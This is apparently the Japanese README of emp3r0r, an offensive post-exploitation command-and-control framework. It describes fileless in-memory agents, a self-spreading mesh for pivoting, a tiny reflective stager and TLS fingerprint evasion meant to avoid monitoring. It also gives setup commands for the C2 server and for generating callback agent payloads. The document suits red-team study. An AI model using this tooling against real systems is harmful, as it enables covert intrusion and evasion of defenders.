
emp3r0r v4.7.0
自己修復型 Gossip Mesh C2、支援付きピア発見、クロスプラットフォーム BOF 実行、スクリプト可能なエージェント
emp3r0r
自己修復型ゴシップメッシュC2(支援付きピア探索、クロスプラットフォームBOF実行、スクリプト可能なエージェントを搭載)
emp3r0rとは?
emp3r0r は、Linux および Windows のターゲット環境向けに設計された、高度なゼロトラスト侵害後フレームワーク兼コマンド&コントロール(C2)システムです。高セキュリティ環境での運用を目的にゼロから構築されており、自律型ゴシップメッシュネットワーク、ファイルレスのメモリ内実行、クロスプラットフォームBOFローディング、エージェント間ファイル転送、メモリ内で動作するスクリプト可能なエージェントを組み合わせることで、優れたステルス性、運用制御、運用セキュリティ(OPSEC)を実現します。
主なハイライトと独自機能
🐍 スクリプト可能なエージェント(組み込み Starlark エンジン & Win32 API プロキシ)
emp3r0r のエージェントには、組み込みの Starlark スクリプティングエンジン(純粋なGoで実装された Python 方言)が搭載されています。スクリプトは、ターゲットに Python、Bash、PowerShell がインストールされていなくても、メモリ内でファイルレスに実行されます。
- ホスト依存ゼロ: コマンドインタープリタ(
/bin/sh、powershell.exe)を起動せず、またインストール済みランタイムにも依存せずに、スタンドアロンスクリプトを実行します。 - 組み込みエージェント Go API: ファイルシステム操作(
read_file、write_file、list_dir、mkdir、remove、exists)、HTTPネットワーキング(http_get、http_post)、コマンド実行(exec_cmd)、ハッシュ計算(crypto_hash)のための関数を公開。 - 動的 Win32 API プロキシ: Windows ターゲットでは、Starlark スクリプトがシステムDLLを動的にロードし、ネイティブな Win32 API(
win_call、win_alloc、win_free、win_read_mem)をネイティブCコードのコンパイルなしでスクリプトコードから直接実行できます。 - モジュール式統合: Starlark スクリプトは JSON マニフェスト(
config.json)を使用して定義され、CLIパラメータの解析と配布がシームレスに行えます。
重要である理由: 従来の C2 スクリプトモジュールは、ホスト上のインタープリタやプロセス生成を必要とし、ディスクやコマンドライン実行の痕跡が多く残ります。emp3r0r のスクリプト可能なエージェントは、ネイティブなシステム連携を備えた複雑なロジックをすべてメモリ内で実行します。
🔐 TOFU 暗号 ID ピニング
emp3r0r は、エージェント登録時に UUID と公開鍵の厳格なピニングを伴う Trust-On-First-Use(TOFU) を強制します。
- 不変のバインディング: 一度登録されると、エージェントの UUID はその暗号公開鍵にピニングされます。改変された認証情報での再登録は、なりすましの試みとして拒否されます。
- 制御されたリセット: 登録解除には、
forget_agentによるオペレータの明示的な承認が必要です。
重要である理由: セッションハイジャック、エージェントの複製、運用環境をまたぐサイレントな ID の逸脱を防ぎます。
🔒 Perfect Forward Secrecy(PFS)
すべての C2 およびピア通信は、HKDF から導出されるセッションキーを用いた ECDH 鍵交換を強制します。
- 一時鍵: 各セッションは固有の暗号化キーを生成します。
- 分離されたセキュリティ: 長期的な鍵や個々のエージェントが侵害されても、過去または並行する通信を侵害することはできません。
重要である理由: 傍受したネットワークキャプチャの事後復号を防ぎます。
🕸️ 自律型 P2P ゴシップメッシュネットワーク
出口制限のある、または分離されたネットワークセグメント内のエージェントは、自律的にピアを発見し、ゴシップベース(Memberlist)のメッシュネットワークを介してトラフィックをトンネリングします。
- プラグ可能なピア転送: カモフラージュ mTLS 1.3(一時証明書を使用)と KCP(信頼性の高いUDP)をサポート。
- エンドツーエンド暗号化: すべてのエージェント間メッシュホップは AES-GCM 暗号化でラップされます。
- 低ネットワークフットプリント: エージェント間の直接リレーにより、不要なブロードキャストノイズと集中型 C2 接続のボトルネックが排除されます。
重要である理由: セグメント化されたネットワークをまたぐピボットが、オペレータの継続的な介入や静的プロキシ設定なしで自律的に行われます。
📂 P2P ファイルシステム
P2P リレー転送(mTLS/KCP)を介したエージェント間の直接ファイル共有により、内部ネットワーク全体でのファイル配信を高速化します。
- 暗号化 P2P トンネル: mTLS/KCP を使用してピア間で転送をトンネリングし、出口制限を回避して中央 C2 の帯域幅ボトルネックを軽減します。
- スマートなインメモリファイルキャッシュ: ファイルは暗号化されたブロブとしてエージェントのメモリにキャッシュされ、オンデマンドで他のエージェントがダウンロードできるようシームレスに提供されます。エージェントはファイルを要求する際、まずローカルの memfs、次に他のピア、最後に C2 を確認します。
- 自動 C2 リレーフォールバック: 対象ピアが要求されたファイルを持っていない場合、そのピアは必要に応じて C2 サーバーから動的に取得してストリーミングします。
重要である理由: エージェント間の直接ファイル共有により転送速度が最大化され、ネットワークのボトルネックを回避し、直接的な C2 トラフィックの可視性を低減します。
📡 マルチプロトコルリスナー & ステージャー
初期アクセスとペイロード配信のための柔軟な Stage 0 ダウンローダーステージャーとプロトコルリスナー。
- マルチプロトコルリスナー: 組み込みおよびスタンドアロンの HTTP、TCP、UDP リスナー。信頼性の高いシーケンス確認応答フレーミングとカスタム HTTP プロファイルを備えます。
- スタンドアロン C ダウンローダーステージャー: libc に依存しない直接的な Linux システムコールを使用して構築されており、シンボルエラーなしで様々なディストリビューションと互換性があります。
- 小さなペイロードサイズ: emp3r0r エージェントバイナリは無圧縮で約20MBですが、このステージャーは1.5KB未満です。emp3r0r リスナーから取得する sRDI 風ペイロードは、エージェントバイナリを ELF 共有オブジェクト形式に圧縮したもので、約8MBです。
- 柔軟なフォーマット: 生の位置独立シェルコード(
.bin)、スタンドアロン ELF 実行ファイル、共有オブジェクト(.so)にコンパイルされます。 - インメモリ堅牢化: ステージメモリを読み取り/書き込み権限で割り当て、ペイロードの難読化を解除し、Stage 1 をリフレクティブに実行する前に読み取り/実行権限を強制します。
🧩 ネイティブなクロスプラットフォーム BOF サポート(COFF & ELF)
Windows と Linux の両ターゲットでインメモリのバイナリモジュールを実行します。
- Windows COFF ローダー: 型付きパラメータパッキング(
int、short、cstr、wstr、binary)により、Windows BOF バイナリをファイルレスで実行します。 - Linux ELF オブジェクトローダー: Linux 上で ELF リロケータブルオブジェクトファイル(
.o)をエージェントメモリに直接ロードします。 - バンドル済み BOF スイート: Kerbeus-BOF、Remote-OPs、Situational Awareness(SA)モジュールコレクションの組み込みサポート。
重要である理由: コンパイル済み C モジュールをプロセス内で実行することで、プロセス生成のオーバーヘッドを排除し、コマンドライン監視を回避します。
🎭 プラグ可能な C2 トランスポート、uTLS JA3 回避 & CBOR プロトコル
- プラグ可能な C2 モード: 柔軟なビーコン型(
http_poll)と、変更可能な HTTP プロファイルによる HTTP/2 上のストリーミング型(h2conn)。 - JA3 シグネチャのランダム化: uTLS を使用して TLS Client Hello フィンガープリントをランダム化し、静的ネットワークシグネチャを無効化します。
- バイナリワイヤプロトコル: すべての制御データとワイヤシリアライズに CBOR(Concise Binary Object Representation)を使用し、JSON と比較してネットワークペイロードサイズを30〜40%削減します。
💾 暗号化されたメモリファーストストレージ
- インメモリ暗号化仮想ファイルシステム: すべてのエージェントファイル操作は、インメモリ AES-GCM 仮想ファイルシステムを使用します。大容量データは、識別可能なヘッダーや拡張子なしで、自動的に暗号化ディスクストレージにスピルオーバーします。
- P2P 対応スマートキャッシュ: P2P 対応の各エージェントは C2 から取得したファイルを memfs にキャッシュし、他のピアが利用できるようにします。これにより、高速なエージェント間接続を活用しながら、C2 トラフィックのフットプリントを最小限に抑えます。
クイックスタート
1. C2 サーバーのインストール
emp3r0r のビルドには、ホスト上の Docker または Podman が必要です。ローカルの Go ツールチェーンは不要です。
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
インストーラは、使い捨てコンテナ内でコアバイナリをコンパイルし、プリコンパイル済みの emp3r0r-operator-kit.tar.zst を生成し、必要な Linux ケーパビリティ(setcap)を設定して、システムのランタイムディレクトリをセットアップします。
オプション:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
C2 サーバーを起動:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
注: 標準の sudo ではなく root ユーザーでインストールした場合、インストーラが権限を適切に設定できないため、現在のユーザーが emp3r0r を起動できない可能性があります。これはオペレータマシンにも同様に当てはまります。
2. オペレータマシンのセットアップ
生成された emp3r0r-operator-kit.tar.zst をオペレータマシンに転送し、インストーラを実行します:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
サーバーが表示した WireGuard トンネル認証情報を使用して、オペレータクライアントを C2 サーバーに接続します:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. エージェントペイロードの生成
emp3r0r オペレータインターフェース内の generate コマンドを使用してペイロードを作成します。
ダイレクト C2 エージェント:
generate --type linux_executable --arch amd64 --cc your.domain.com
メッシュゲートウェイエージェント:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
メッシュ中間ピア:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
ドキュメントとリソース
- 📝 セキュリティポリシー: SECURITY.md
- 📜 チェンジログ: CHANGELOG.md
- 🛠️ モジュール開発ガイド: core/modules/module_development_guide.md
開発支援
emp3r0r があなたのセキュリティ調査やテストで有用であると実感されたなら、GitHub Sponsors を通じて継続的な開発を支援することをご検討ください。